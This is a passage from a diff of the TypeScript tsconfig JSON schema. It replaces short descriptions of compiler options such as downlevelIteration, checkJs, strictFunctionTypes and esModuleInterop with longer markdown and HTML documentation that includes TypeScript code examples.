+              "description": "When set, TypeScript will check that the built-in methods of functions `call`, `bind`, and `apply` are invoked with correct argument for the underlying function:\n\n```ts twoslash\n// @strictBindCallApply: true\n// @errors: 2345\n\n// With strictBindCallApply on\nfunction fn(x: string) {\n  return parseInt(x);\n}\n\nconst n1 = fn.call(undefined, \"10\");\n\nconst n2 = fn.call(undefined, false);\n```\n\nOtherwise, these functions accept any arguments and will return `any`:\n\n```ts twoslash\n// @strictBindCallApply: false\n\n// With strictBindCallApply off\nfunction fn(x: string) {\n  return parseInt(x);\n}\n\n// Note: No error; return type is 'any'\nconst n = fn.call(undefined, false);\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Check that the arguments for `bind`, `call`, and `apply` methods match the original function.\n\nSee more: https://www.typescriptlang.org/tsconfig#strictBindCallApply"
+              "markdownDescription": "When set, TypeScript will check that the built-in methods of functions `call`, `bind`, and `apply` are invoked with correct argument for the underlying function:\n\n```ts twoslash\n// @strictBindCallApply: true\n// @errors: 2345\n\n// With strictBindCallApply on\nfunction fn(x: string) {\n  return parseInt(x);\n}\n\nconst n1 = fn.call(undefined, \"10\");\n\nconst n2 = fn.call(undefined, false);\n```\n\nOtherwise, these functions accept any arguments and will return `any`:\n\n```ts twoslash\n// @strictBindCallApply: false\n\n// With strictBindCallApply off\nfunction fn(x: string) {\n  return parseInt(x);\n}\n\n// Note: No error; return type is 'any'\nconst n = fn.call(undefined, false);\n```",
+              "x-intellij-html-description": "<p>When set, TypeScript will check that the built-in methods of functions <code>call</code>, <code>bind</code>, and <code>apply</code> are invoked with correct argument for the underlying function:</p>\n<pre><code class=\"language-ts\">// @strictBindCallApply: true\n// @errors: 2345\n\n// With strictBindCallApply on\nfunction fn(x: string) {\n  return parseInt(x);\n}\n\nconst n1 = fn.call(undefined, &quot;10&quot;);\n\nconst n2 = fn.call(undefined, false);\n</code></pre>\n<p>Otherwise, these functions accept any arguments and will return <code>any</code>:</p>\n<pre><code class=\"language-ts\">// @strictBindCallApply: false\n\n// With strictBindCallApply off\nfunction fn(x: string) {\n  return parseInt(x);\n}\n\n// Note: No error; return type is &#39;any&#39;\nconst n = fn.call(undefined, false);\n</code></pre>\n"
             },
             "downlevelIteration": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Emit more compliant, but verbose and less performant JavaScript for iteration.",
+              "description": "Downleveling is TypeScript's term for transpiling to an older version of JavaScript.\nThis flag is to enable support for a more accurate implementation of how modern JavaScript iterates through new concepts in older JavaScript runtimes.\n\nECMAScript 6 added several new iteration primitives: the `for / of` loop (`for (el of arr)`), Array spread (`[a, ...b]`), argument spread (`fn(...args)`), and `Symbol.iterator`.\n`downlevelIteration` allows for these iteration primitives to be used more accurately in ES5 environments if a `Symbol.iterator` implementation is present.\n\n#### Example: Effects on `for / of`\n\nWith this TypeScript code:\n\n```ts twoslash\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\nWithout `downlevelIteration` enabled, a `for / of` loop on any object is downleveled to a traditional `for` loop:\n\n```ts twoslash\n// @target: ES5\n// @showEmit\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\nThis is often what people expect, but it's not 100% compliant with ECMAScript iteration protocol.\nCertain strings, such as emoji (😜), have a `.length` of 2 (or even more!), but should iterate as 1 unit in a `for-of` loop.\nSee [this blog post by Jonathan New](https://blog.jonnew.com/posts/poo-dot-length-equals-two) for a longer explanation.\n\nWhen `downlevelIteration` is enabled, TypeScript will use a helper function that checks for a `Symbol.iterator` implementation (either native or polyfill).\nIf this implementation is missing, you'll fall back to index-based iteration.\n\n```ts twoslash\n// @target: ES5\n// @downlevelIteration\n// @showEmit\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\nYou can use [tslib](https://www.npmjs.com/package/tslib) via [`importHelpers`](https://typescriptlang.org/tsconfig/#importHelpers) to reduce the amount of inline JavaScript too:\n\n```ts twoslash\n// @target: ES5\n// @downlevelIteration\n// @importHelpers\n// @showEmit\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\n**Note:** enabling `downlevelIteration` does not improve compliance if `Symbol.iterator` is not present in the runtime.\n\n#### Example: Effects on Array Spreads\n\nThis is an array spread:\n\n```js\n// Make a new array whose elements are 1 followed by the elements of arr2\nconst arr = [1, ...arr2];\n```\n\nBased on the description, it sounds easy to downlevel to ES5:\n\n```js\n// The same, right?\nconst arr = [1].concat(arr2);\n```\n\nHowever, this is observably different in certain rare cases.\n\nFor example, if a source array is missing one or more items (contains a hole), the spread syntax will replace each empty item with `undefined`, whereas `.concat` will leave them intact.\n\n```js\n// Make an array where the element at index 1 is missing\nlet arrayWithHole = ['a', , 'c'];\nlet spread = [...arrayWithHole];\nlet concatenated = [].concat(arrayWithHole);\n\nconsole.log(arrayWithHole)\n// [ 'a', <1 empty item>, 'c' ]\nconsole.log(spread)\n// [ 'a', undefined, 'c' ]\nconsole.log(concatenated)\n// [ 'a', <1 empty item>, 'c' ]\n```\n\nJust as with `for / of`, `downlevelIteration` will use `Symbol.iterator` (if present) to more accurately emulate ES 6 behavior.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Emit more compliant, but verbose and less performant JavaScript for iteration.\n\nSee more: https://www.typescriptlang.org/tsconfig#downlevelIteration"
+              "markdownDescription": "Downleveling is TypeScript's term for transpiling to an older version of JavaScript.\nThis flag is to enable support for a more accurate implementation of how modern JavaScript iterates through new concepts in older JavaScript runtimes.\n\nECMAScript 6 added several new iteration primitives: the `for / of` loop (`for (el of arr)`), Array spread (`[a, ...b]`), argument spread (`fn(...args)`), and `Symbol.iterator`.\n`downlevelIteration` allows for these iteration primitives to be used more accurately in ES5 environments if a `Symbol.iterator` implementation is present.\n\n#### Example: Effects on `for / of`\n\nWith this TypeScript code:\n\n```ts twoslash\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\nWithout `downlevelIteration` enabled, a `for / of` loop on any object is downleveled to a traditional `for` loop:\n\n```ts twoslash\n// @target: ES5\n// @showEmit\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\nThis is often what people expect, but it's not 100% compliant with ECMAScript iteration protocol.\nCertain strings, such as emoji (😜), have a `.length` of 2 (or even more!), but should iterate as 1 unit in a `for-of` loop.\nSee [this blog post by Jonathan New](https://blog.jonnew.com/posts/poo-dot-length-equals-two) for a longer explanation.\n\nWhen `downlevelIteration` is enabled, TypeScript will use a helper function that checks for a `Symbol.iterator` implementation (either native or polyfill).\nIf this implementation is missing, you'll fall back to index-based iteration.\n\n```ts twoslash\n// @target: ES5\n// @downlevelIteration\n// @showEmit\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\nYou can use [tslib](https://www.npmjs.com/package/tslib) via [`importHelpers`](https://typescriptlang.org/tsconfig/#importHelpers) to reduce the amount of inline JavaScript too:\n\n```ts twoslash\n// @target: ES5\n// @downlevelIteration\n// @importHelpers\n// @showEmit\nconst str = \"Hello!\";\nfor (const s of str) {\n  console.log(s);\n}\n```\n\n**Note:** enabling `downlevelIteration` does not improve compliance if `Symbol.iterator` is not present in the runtime.\n\n#### Example: Effects on Array Spreads\n\nThis is an array spread:\n\n```js\n// Make a new array whose elements are 1 followed by the elements of arr2\nconst arr = [1, ...arr2];\n```\n\nBased on the description, it sounds easy to downlevel to ES5:\n\n```js\n// The same, right?\nconst arr = [1].concat(arr2);\n```\n\nHowever, this is observably different in certain rare cases.\n\nFor example, if a source array is missing one or more items (contains a hole), the spread syntax will replace each empty item with `undefined`, whereas `.concat` will leave them intact.\n\n```js\n// Make an array where the element at index 1 is missing\nlet arrayWithHole = ['a', , 'c'];\nlet spread = [...arrayWithHole];\nlet concatenated = [].concat(arrayWithHole);\n\nconsole.log(arrayWithHole)\n// [ 'a', <1 empty item>, 'c' ]\nconsole.log(spread)\n// [ 'a', undefined, 'c' ]\nconsole.log(concatenated)\n// [ 'a', <1 empty item>, 'c' ]\n```\n\nJust as with `for / of`, `downlevelIteration` will use `Symbol.iterator` (if present) to more accurately emulate ES 6 behavior.",
+              "x-intellij-html-description": "<p>Downleveling is TypeScript&#39;s term for transpiling to an older version of JavaScript.\nThis flag is to enable support for a more accurate implementation of how modern JavaScript iterates through new concepts in older JavaScript runtimes.</p>\n<p>ECMAScript 6 added several new iteration primitives: the <code>for / of</code> loop (<code>for (el of arr)</code>), Array spread (<code>[a, ...b]</code>), argument spread (<code>fn(...args)</code>), and <code>Symbol.iterator</code>.\n<code>downlevelIteration</code> allows for these iteration primitives to be used more accurately in ES5 environments if a <code>Symbol.iterator</code> implementation is present.</p>\n<h4>Example: Effects on <code>for / of</code></h4>\n<p>With this TypeScript code:</p>\n<pre><code class=\"language-ts\">const str = &quot;Hello!&quot;;\nfor (const s of str) {\n  console.log(s);\n}\n</code></pre>\n<p>Without <code>downlevelIteration</code> enabled, a <code>for / of</code> loop on any object is downleveled to a traditional <code>for</code> loop:</p>\n<pre><code class=\"language-ts\">// @target: ES5\n// @showEmit\nconst str = &quot;Hello!&quot;;\nfor (const s of str) {\n  console.log(s);\n}\n</code></pre>\n<p>This is often what people expect, but it&#39;s not 100% compliant with ECMAScript iteration protocol.\nCertain strings, such as emoji (😜), have a <code>.length</code> of 2 (or even more!), but should iterate as 1 unit in a <code>for-of</code> loop.\nSee <a href=\"https://blog.jonnew.com/posts/poo-dot-length-equals-two\">this blog post by Jonathan New</a> for a longer explanation.</p>\n<p>When <code>downlevelIteration</code> is enabled, TypeScript will use a helper function that checks for a <code>Symbol.iterator</code> implementation (either native or polyfill).\nIf this implementation is missing, you&#39;ll fall back to index-based iteration.</p>\n<pre><code class=\"language-ts\">// @target: ES5\n// @downlevelIteration\n// @showEmit\nconst str = &quot;Hello!&quot;;\nfor (const s of str) {\n  console.log(s);\n}\n</code></pre>\n<p>You can use <a href=\"https://www.npmjs.com/package/tslib\">tslib</a> via <a href=\"https://typescriptlang.org/tsconfig/#importHelpers\"><code>importHelpers</code></a> to reduce the amount of inline JavaScript too:</p>\n<pre><code class=\"language-ts\">// @target: ES5\n// @downlevelIteration\n// @importHelpers\n// @showEmit\nconst str = &quot;Hello!&quot;;\nfor (const s of str) {\n  console.log(s);\n}\n</code></pre>\n<p><strong>Note:</strong> enabling <code>downlevelIteration</code> does not improve compliance if <code>Symbol.iterator</code> is not present in the runtime.</p>\n<h4>Example: Effects on Array Spreads</h4>\n<p>This is an array spread:</p>\n<pre><code class=\"language-js\">// Make a new array whose elements are 1 followed by the elements of arr2\nconst arr = [1, ...arr2];\n</code></pre>\n<p>Based on the description, it sounds easy to downlevel to ES5:</p>\n<pre><code class=\"language-js\">// The same, right?\nconst arr = [1].concat(arr2);\n</code></pre>\n<p>However, this is observably different in certain rare cases.</p>\n<p>For example, if a source array is missing one or more items (contains a hole), the spread syntax will replace each empty item with <code>undefined</code>, whereas <code>.concat</code> will leave them intact.</p>\n<pre><code class=\"language-js\">// Make an array where the element at index 1 is missing\nlet arrayWithHole = [&#39;a&#39;, , &#39;c&#39;];\nlet spread = [...arrayWithHole];\nlet concatenated = [].concat(arrayWithHole);\n\nconsole.log(arrayWithHole)\n// [ &#39;a&#39;, &lt;1 empty item&gt;, &#39;c&#39; ]\nconsole.log(spread)\n// [ &#39;a&#39;, undefined, &#39;c&#39; ]\nconsole.log(concatenated)\n// [ &#39;a&#39;, &lt;1 empty item&gt;, &#39;c&#39; ]\n</code></pre>\n<p>Just as with <code>for / of</code>, <code>downlevelIteration</code> will use <code>Symbol.iterator</code> (if present) to more accurately emulate ES 6 behavior.</p>\n"
             },
             "checkJs": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable error reporting in type-checked JavaScript files.",
+              "description": "Works in tandem with [`allowJs`](https://typescriptlang.org/tsconfig/#allowJs). When `checkJs` is enabled then errors are reported in JavaScript files. This is\nthe equivalent of including `// @ts-check` at the top of all JavaScript files which are included in your project.\n\nFor example, this is incorrect JavaScript according to the `parseFloat` type definition which comes with TypeScript:\n\n```js\n// parseFloat only takes a string\nmodule.exports.pi = parseFloat(3.142);\n```\n\nWhen imported into a TypeScript module:\n\n```ts twoslash\n// @allowJs\n// @filename: constants.js\nmodule.exports.pi = parseFloat(3.142);\n\n// @filename: index.ts\nimport { pi } from \"./constants\";\nconsole.log(pi);\n```\n\nYou will not get any errors. However, if you turn on `checkJs` then you will get error messages from the JavaScript file.\n\n```ts twoslash\n// @errors: 2345\n// @allowjs: true\n// @checkjs: true\n// @filename: constants.js\nmodule.exports.pi = parseFloat(3.142);\n\n// @filename: index.ts\nimport { pi } from \"./constants\";\nconsole.log(pi);\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable error reporting in type-checked JavaScript files.\n\nSee more: https://www.typescriptlang.org/tsconfig#checkJs"
+              "markdownDescription": "Works in tandem with [`allowJs`](https://typescriptlang.org/tsconfig/#allowJs). When `checkJs` is enabled then errors are reported in JavaScript files. This is\nthe equivalent of including `// @ts-check` at the top of all JavaScript files which are included in your project.\n\nFor example, this is incorrect JavaScript according to the `parseFloat` type definition which comes with TypeScript:\n\n```js\n// parseFloat only takes a string\nmodule.exports.pi = parseFloat(3.142);\n```\n\nWhen imported into a TypeScript module:\n\n```ts twoslash\n// @allowJs\n// @filename: constants.js\nmodule.exports.pi = parseFloat(3.142);\n\n// @filename: index.ts\nimport { pi } from \"./constants\";\nconsole.log(pi);\n```\n\nYou will not get any errors. However, if you turn on `checkJs` then you will get error messages from the JavaScript file.\n\n```ts twoslash\n// @errors: 2345\n// @allowjs: true\n// @checkjs: true\n// @filename: constants.js\nmodule.exports.pi = parseFloat(3.142);\n\n// @filename: index.ts\nimport { pi } from \"./constants\";\nconsole.log(pi);\n```",
+              "x-intellij-html-description": "<p>Works in tandem with <a href=\"https://typescriptlang.org/tsconfig/#allowJs\"><code>allowJs</code></a>. When <code>checkJs</code> is enabled then errors are reported in JavaScript files. This is\nthe equivalent of including <code>// @ts-check</code> at the top of all JavaScript files which are included in your project.</p>\n<p>For example, this is incorrect JavaScript according to the <code>parseFloat</code> type definition which comes with TypeScript:</p>\n<pre><code class=\"language-js\">// parseFloat only takes a string\nmodule.exports.pi = parseFloat(3.142);\n</code></pre>\n<p>When imported into a TypeScript module:</p>\n<pre><code class=\"language-ts\">// @allowJs\n// @filename: constants.js\nmodule.exports.pi = parseFloat(3.142);\n\n// @filename: index.ts\nimport { pi } from &quot;./constants&quot;;\nconsole.log(pi);\n</code></pre>\n<p>You will not get any errors. However, if you turn on <code>checkJs</code> then you will get error messages from the JavaScript file.</p>\n<pre><code class=\"language-ts\">// @errors: 2345\n// @allowjs: true\n// @checkjs: true\n// @filename: constants.js\nmodule.exports.pi = parseFloat(3.142);\n\n// @filename: index.ts\nimport { pi } from &quot;./constants&quot;;\nconsole.log(pi);\n</code></pre>\n"
             },
             "strictFunctionTypes": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "When assigning functions, check to ensure parameters and the return values are subtype-compatible.",
+              "description": "When enabled, this flag causes functions parameters to be checked more correctly.\n\nHere's a basic example with `strictFunctionTypes` off:\n\n```ts twoslash\n// @strictFunctionTypes: false\nfunction fn(x: string) {\n  console.log(\"Hello, \" + x.toLowerCase());\n}\n\ntype StringOrNumberFunc = (ns: string | number) => void;\n\n// Unsafe assignment\nlet func: StringOrNumberFunc = fn;\n// Unsafe call - will crash\nfunc(10);\n```\n\nWith `strictFunctionTypes` _on_, the error is correctly detected:\n\n```ts twoslash\n// @errors: 2322\nfunction fn(x: string) {\n  console.log(\"Hello, \" + x.toLowerCase());\n}\n\ntype StringOrNumberFunc = (ns: string | number) => void;\n\n// Unsafe assignment is prevented\nlet func: StringOrNumberFunc = fn;\n```\n\nDuring development of this feature, we discovered a large number of inherently unsafe class hierarchies, including some in the DOM.\nBecause of this, the setting only applies to functions written in _function_ syntax, not to those in _method_ syntax:\n\n```ts twoslash\ntype Methodish = {\n  func(x: string | number): void;\n};\n\nfunction fn(x: string) {\n  console.log(\"Hello, \" + x.toLowerCase());\n}\n\n// Ultimately an unsafe assignment, but not detected\nconst m: Methodish = {\n  func: fn,\n};\nm.func(10);\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "When assigning functions, check to ensure parameters and the return values are subtype-compatible.\n\nSee more: https://www.typescriptlang.org/tsconfig#strictFunctionTypes"
+              "markdownDescription": "When enabled, this flag causes functions parameters to be checked more correctly.\n\nHere's a basic example with `strictFunctionTypes` off:\n\n```ts twoslash\n// @strictFunctionTypes: false\nfunction fn(x: string) {\n  console.log(\"Hello, \" + x.toLowerCase());\n}\n\ntype StringOrNumberFunc = (ns: string | number) => void;\n\n// Unsafe assignment\nlet func: StringOrNumberFunc = fn;\n// Unsafe call - will crash\nfunc(10);\n```\n\nWith `strictFunctionTypes` _on_, the error is correctly detected:\n\n```ts twoslash\n// @errors: 2322\nfunction fn(x: string) {\n  console.log(\"Hello, \" + x.toLowerCase());\n}\n\ntype StringOrNumberFunc = (ns: string | number) => void;\n\n// Unsafe assignment is prevented\nlet func: StringOrNumberFunc = fn;\n```\n\nDuring development of this feature, we discovered a large number of inherently unsafe class hierarchies, including some in the DOM.\nBecause of this, the setting only applies to functions written in _function_ syntax, not to those in _method_ syntax:\n\n```ts twoslash\ntype Methodish = {\n  func(x: string | number): void;\n};\n\nfunction fn(x: string) {\n  console.log(\"Hello, \" + x.toLowerCase());\n}\n\n// Ultimately an unsafe assignment, but not detected\nconst m: Methodish = {\n  func: fn,\n};\nm.func(10);\n```",
+              "x-intellij-html-description": "<p>When enabled, this flag causes functions parameters to be checked more correctly.</p>\n<p>Here&#39;s a basic example with <code>strictFunctionTypes</code> off:</p>\n<pre><code class=\"language-ts\">// @strictFunctionTypes: false\nfunction fn(x: string) {\n  console.log(&quot;Hello, &quot; + x.toLowerCase());\n}\n\ntype StringOrNumberFunc = (ns: string | number) =&gt; void;\n\n// Unsafe assignment\nlet func: StringOrNumberFunc = fn;\n// Unsafe call - will crash\nfunc(10);\n</code></pre>\n<p>With <code>strictFunctionTypes</code> <em>on</em>, the error is correctly detected:</p>\n<pre><code class=\"language-ts\">// @errors: 2322\nfunction fn(x: string) {\n  console.log(&quot;Hello, &quot; + x.toLowerCase());\n}\n\ntype StringOrNumberFunc = (ns: string | number) =&gt; void;\n\n// Unsafe assignment is prevented\nlet func: StringOrNumberFunc = fn;\n</code></pre>\n<p>During development of this feature, we discovered a large number of inherently unsafe class hierarchies, including some in the DOM.\nBecause of this, the setting only applies to functions written in <em>function</em> syntax, not to those in <em>method</em> syntax:</p>\n<pre><code class=\"language-ts\">type Methodish = {\n  func(x: string | number): void;\n};\n\nfunction fn(x: string) {\n  console.log(&quot;Hello, &quot; + x.toLowerCase());\n}\n\n// Ultimately an unsafe assignment, but not detected\nconst m: Methodish = {\n  func: fn,\n};\nm.func(10);\n</code></pre>\n"
             },
             "strictPropertyInitialization": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Check for class properties that are declared but not set in the constructor.",
+              "description": "When set to true, TypeScript will raise an error when a class property was declared but not set in the constructor.\n\n```ts twoslash\n// @errors: 2564\nclass UserAccount {\n  name: string;\n  accountType = \"user\";\n\n  email: string;\n  address: string | undefined;\n\n  constructor(name: string) {\n    this.name = name;\n    // Note that this.email is not set\n  }\n}\n```\n\nIn the above case:\n\n- `this.name` is set specifically.\n- `this.accountType` is set by default.\n- `this.email` is not set and raises an error.\n- `this.address` is declared as potentially `undefined` which means it does not have to be set.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Check for class properties that are declared but not set in the constructor.\n\nSee more: https://www.typescriptlang.org/tsconfig#strictPropertyInitialization"
+              "markdownDescription": "When set to true, TypeScript will raise an error when a class property was declared but not set in the constructor.\n\n```ts twoslash\n// @errors: 2564\nclass UserAccount {\n  name: string;\n  accountType = \"user\";\n\n  email: string;\n  address: string | undefined;\n\n  constructor(name: string) {\n    this.name = name;\n    // Note that this.email is not set\n  }\n}\n```\n\nIn the above case:\n\n- `this.name` is set specifically.\n- `this.accountType` is set by default.\n- `this.email` is not set and raises an error.\n- `this.address` is declared as potentially `undefined` which means it does not have to be set.",
+              "x-intellij-html-description": "<p>When set to true, TypeScript will raise an error when a class property was declared but not set in the constructor.</p>\n<pre><code class=\"language-ts\">// @errors: 2564\nclass UserAccount {\n  name: string;\n  accountType = &quot;user&quot;;\n\n  email: string;\n  address: string | undefined;\n\n  constructor(name: string) {\n    this.name = name;\n    // Note that this.email is not set\n  }\n}\n</code></pre>\n<p>In the above case:</p>\n<ul>\n<li><code>this.name</code> is set specifically.</li>\n<li><code>this.accountType</code> is set by default.</li>\n<li><code>this.email</code> is not set and raises an error.</li>\n<li><code>this.address</code> is declared as potentially <code>undefined</code> which means it does not have to be set.</li>\n</ul>\n"
             },
             "esModuleInterop": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Emit additional JavaScript to ease support for importing CommonJS modules. This enables `allowSyntheticDefaultImports` for type compatibility.",
+              "description": "By default (with `esModuleInterop` false or not set) TypeScript treats CommonJS/AMD/UMD modules similar to ES6 modules. In doing this, there are two parts in particular which turned out to be flawed assumptions:\n\n- a namespace import like `import * as moment from \"moment\"` acts the same as `const moment = require(\"moment\")`\n\n- a default import like `import moment from \"moment\"` acts the same as `const moment = require(\"moment\").default`\n\nThis mis-match causes these two issues:\n\n- the ES6 modules spec states that a namespace import (`import * as x`) can only be an object, by having TypeScript\n  treating it the same as `= require(\"x\")` then TypeScript allowed for the import to be treated as a function and be callable. That's not valid according to the spec.\n\n- while accurate to the ES6 modules spec, most libraries with CommonJS/AMD/UMD modules didn't conform as strictly as TypeScript's implementation.\n\nTurning on `esModuleInterop` will fix both of these problems in the code transpiled by TypeScript. The first changes the behavior in the compiler, the second is fixed by two new helper functions which provide a shim to ensure compatibility in the emitted JavaScript:\n\n```ts\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\nWith `esModuleInterop` disabled:\n\n```ts twoslash\n// @noErrors\n// @showEmit\n// @esModuleInterop: false\n// @module: commonjs\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\nWith `esModuleInterop` set to `true`:\n\n```ts twoslash\n// @noErrors\n// @showEmit\n// @esModuleInterop\n// @module: commonjs\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\n_Note_: The namespace import `import * as fs from \"fs\"` only accounts for properties which [are owned](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) (basically properties set on the object and not via the prototype chain) on the imported object. If the module you're importing defines its API using inherited properties, you need to use the default import form (`import fs from \"fs\"`), or disable `esModuleInterop`.\n\n_Note_: You can make JS emit terser by enabling [`importHelpers`](https://typescriptlang.org/tsconfig/#importHelpers):\n\n```ts twoslash\n// @noErrors\n// @showEmit\n// @esModuleInterop\n// @importHelpers\n// @module: commonjs\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\nEnabling `esModuleInterop` will also enable [`allowSyntheticDefaultImports`](https://typescriptlang.org/tsconfig/#allowSyntheticDefaultImports).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Emit additional JavaScript to ease support for importing CommonJS modules. This enables `allowSyntheticDefaultImports` for type compatibility.\n\nSee more: https://www.typescriptlang.org/tsconfig#esModuleInterop"
+              "markdownDescription": "By default (with `esModuleInterop` false or not set) TypeScript treats CommonJS/AMD/UMD modules similar to ES6 modules. In doing this, there are two parts in particular which turned out to be flawed assumptions:\n\n- a namespace import like `import * as moment from \"moment\"` acts the same as `const moment = require(\"moment\")`\n\n- a default import like `import moment from \"moment\"` acts the same as `const moment = require(\"moment\").default`\n\nThis mis-match causes these two issues:\n\n- the ES6 modules spec states that a namespace import (`import * as x`) can only be an object, by having TypeScript\n  treating it the same as `= require(\"x\")` then TypeScript allowed for the import to be treated as a function and be callable. That's not valid according to the spec.\n\n- while accurate to the ES6 modules spec, most libraries with CommonJS/AMD/UMD modules didn't conform as strictly as TypeScript's implementation.\n\nTurning on `esModuleInterop` will fix both of these problems in the code transpiled by TypeScript. The first changes the behavior in the compiler, the second is fixed by two new helper functions which provide a shim to ensure compatibility in the emitted JavaScript:\n\n```ts\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\nWith `esModuleInterop` disabled:\n\n```ts twoslash\n// @noErrors\n// @showEmit\n// @esModuleInterop: false\n// @module: commonjs\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\nWith `esModuleInterop` set to `true`:\n\n```ts twoslash\n// @noErrors\n// @showEmit\n// @esModuleInterop\n// @module: commonjs\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\n_Note_: The namespace import `import * as fs from \"fs\"` only accounts for properties which [are owned](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) (basically properties set on the object and not via the prototype chain) on the imported object. If the module you're importing defines its API using inherited properties, you need to use the default import form (`import fs from \"fs\"`), or disable `esModuleInterop`.\n\n_Note_: You can make JS emit terser by enabling [`importHelpers`](https://typescriptlang.org/tsconfig/#importHelpers):\n\n```ts twoslash\n// @noErrors\n// @showEmit\n// @esModuleInterop\n// @importHelpers\n// @module: commonjs\nimport * as fs from \"fs\";\nimport _ from \"lodash\";\n\nfs.readFileSync(\"file.txt\", \"utf8\");\n_.chunk([\"a\", \"b\", \"c\", \"d\"], 2);\n```\n\nEnabling `esModuleInterop` will also enable [`allowSyntheticDefaultImports`](https://typescriptlang.org/tsconfig/#allowSyntheticDefaultImports).",
+              "x-intellij-html-description": "<p>By default (with <code>esModuleInterop</code> false or not set) TypeScript treats CommonJS/AMD/UMD modules similar to ES6 modules. In doing this, there are two parts in particular which turned out to be flawed assumptions:</p>\n<ul>\n<li><p>a namespace import like <code>import * as moment from &quot;moment&quot;</code> acts the same as <code>const moment = require(&quot;moment&quot;)</code></p>\n</li>\n<li><p>a default import like <code>import moment from &quot;moment&quot;</code> acts the same as <code>const moment = require(&quot;moment&quot;).default</code></p>\n</li>\n</ul>\n<p>This mis-match causes these two issues:</p>\n<ul>\n<li><p>the ES6 modules spec states that a namespace import (<code>import * as x</code>) can only be an object, by having TypeScript\ntreating it the same as <code>= require(&quot;x&quot;)</code> then TypeScript allowed for the import to be treated as a function and be callable. That&#39;s not valid according to the spec.</p>\n</li>\n<li><p>while accurate to the ES6 modules spec, most libraries with CommonJS/AMD/UMD modules didn&#39;t conform as strictly as TypeScript&#39;s implementation.</p>\n</li>\n</ul>\n<p>Turning on <code>esModuleInterop</code> will fix both of these problems in the code transpiled by TypeScript. The first changes the behavior in the compiler, the second is fixed by two new helper functions which provide a shim to ensure compatibility in the emitted JavaScript:</p>\n<pre><code class=\"language-ts\">import * as fs from &quot;fs&quot;;\nimport _ from &quot;lodash&quot;;\n\nfs.readFileSync(&quot;file.txt&quot;, &quot;utf8&quot;);\n_.chunk([&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;], 2);\n</code></pre>\n<p>With <code>esModuleInterop</code> disabled:</p>\n<pre><code class=\"language-ts\">// @noErrors\n// @showEmit\n// @esModuleInterop: false\n// @module: commonjs\nimport * as fs from &quot;fs&quot;;\nimport _ from &quot;lodash&quot;;\n\nfs.readFileSync(&quot;file.txt&quot;, &quot;utf8&quot;);\n_.chunk([&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;], 2);\n</code></pre>\n<p>With <code>esModuleInterop</code> set to <code>true</code>:</p>\n<pre><code class=\"language-ts\">// @noErrors\n// @showEmit\n// @esModuleInterop\n// @module: commonjs\nimport * as fs from &quot;fs&quot;;\nimport _ from &quot;lodash&quot;;\n\nfs.readFileSync(&quot;file.txt&quot;, &quot;utf8&quot;);\n_.chunk([&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;], 2);\n</code></pre>\n<p><em>Note</em>: The namespace import <code>import * as fs from &quot;fs&quot;</code> only accounts for properties which <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty\">are owned</a> (basically properties set on the object and not via the prototype chain) on the imported object. If the module you&#39;re importing defines its API using inherited properties, you need to use the default import form (<code>import fs from &quot;fs&quot;</code>), or disable <code>esModuleInterop</code>.</p>\n<p><em>Note</em>: You can make JS emit terser by enabling <a href=\"https://typescriptlang.org/tsconfig/#importHelpers\"><code>importHelpers</code></a>:</p>\n<pre><code class=\"language-ts\">// @noErrors\n// @showEmit\n// @esModuleInterop\n// 